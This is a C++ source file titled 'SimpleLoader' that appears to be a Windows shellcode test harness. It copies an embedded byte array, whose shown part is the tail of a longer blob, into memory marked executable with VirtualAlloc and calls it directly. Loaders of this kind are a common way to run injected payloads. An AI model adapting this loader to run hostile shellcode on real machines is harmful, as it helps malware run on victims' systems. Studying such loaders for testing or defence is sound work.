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175 lines (162 loc) · 13.2 KB
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// SimpleLoader.cpp : This file contains the 'main' function. Program execution begins and ends there.
//
#include <iostream>
#include <Windows.h>
// insert shellcode here
unsigned char text_section[] = {
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0x80, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7, 0x54, 0x24, 0x20, 0x66, 0x89, 0x14,
0x48, 0x0F, 0xB7, 0x44, 0x24, 0x20, 0x89, 0x44, 0x24, 0x24, 0xEB, 0x14, 0x48, 0x8B, 0x84, 0x24,
0x80, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7, 0x04, 0x48, 0x89, 0x44, 0x24, 0x24,
0x0F, 0xB7, 0x44, 0x24, 0x24, 0x66, 0x89, 0x44, 0x24, 0x08, 0x48, 0x8B, 0x44, 0x24, 0x10, 0x48,
0x8B, 0x0C, 0x24, 0x0F, 0xB7, 0x04, 0x48, 0x83, 0xF8, 0x5A, 0x7F, 0x46, 0x48, 0x8B, 0x44, 0x24,
0x10, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7, 0x04, 0x48, 0x83, 0xF8, 0x41, 0x7C, 0x34, 0x48, 0x8B,
0x44, 0x24, 0x10, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7, 0x04, 0x48, 0x83, 0xE8, 0x41, 0x83, 0xC0,
0x61, 0x89, 0x44, 0x24, 0x28, 0x48, 0x8B, 0x44, 0x24, 0x10, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7,
0x54, 0x24, 0x28, 0x66, 0x89, 0x14, 0x48, 0x0F, 0xB7, 0x44, 0x24, 0x28, 0x89, 0x44, 0x24, 0x2C,
0xEB, 0x11, 0x48, 0x8B, 0x44, 0x24, 0x10, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7, 0x04, 0x48, 0x89,
0x44, 0x24, 0x2C, 0x0F, 0xB7, 0x44, 0x24, 0x2C, 0x66, 0x89, 0x44, 0x24, 0x0C, 0x0F, 0xB7, 0x44,
0x24, 0x08, 0x0F, 0xB7, 0x4C, 0x24, 0x0C, 0x3B, 0xC1, 0x74, 0x02, 0xEB, 0x05, 0xE9, 0xBE, 0xFE,
0xFF, 0xFF, 0x48, 0x8B, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7,
0x04, 0x48, 0x85, 0xC0, 0x75, 0x1C, 0x48, 0x8B, 0x44, 0x24, 0x10, 0x48, 0x8B, 0x0C, 0x24, 0x0F,
0xB7, 0x04, 0x48, 0x85, 0xC0, 0x75, 0x0B, 0x48, 0x8B, 0x44, 0x24, 0x18, 0x48, 0x8B, 0x40, 0x30,
0xEB, 0x14, 0x48, 0x8B, 0x44, 0x24, 0x18, 0x48, 0x8B, 0x00, 0x48, 0x89, 0x44, 0x24, 0x18, 0xE9,
0x32, 0xFE, 0xFF, 0xFF, 0x33, 0xC0, 0x48, 0x83, 0xC4, 0x68, 0x5F, 0x5E, 0xC3
};
// insert shellcode here
int main()
{
printf("=== SHELLCODE TEST By OB ===\n");
// Allocate memory with VirtualAlloc with RWX protection
LPVOID allocatedMemory = VirtualAlloc(
NULL,
sizeof(text_section),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (allocatedMemory == NULL) {
printf("Memory allocation failed with error: %d\n", GetLastError());
return 1;
}
// Copy the shellcode to the allocated memory
memcpy(allocatedMemory, text_section, sizeof(text_section));
// Cast the allocated memory to a function pointer and execute it
void (*shellcode)() = (void (*)())allocatedMemory;
shellcode();
// freeing the allocated memory
if (!VirtualFree(allocatedMemory,0,MEM_RELEASE) ){
return 1;
}
printf("=== Execution completed with no error ===\n");
return 0;
}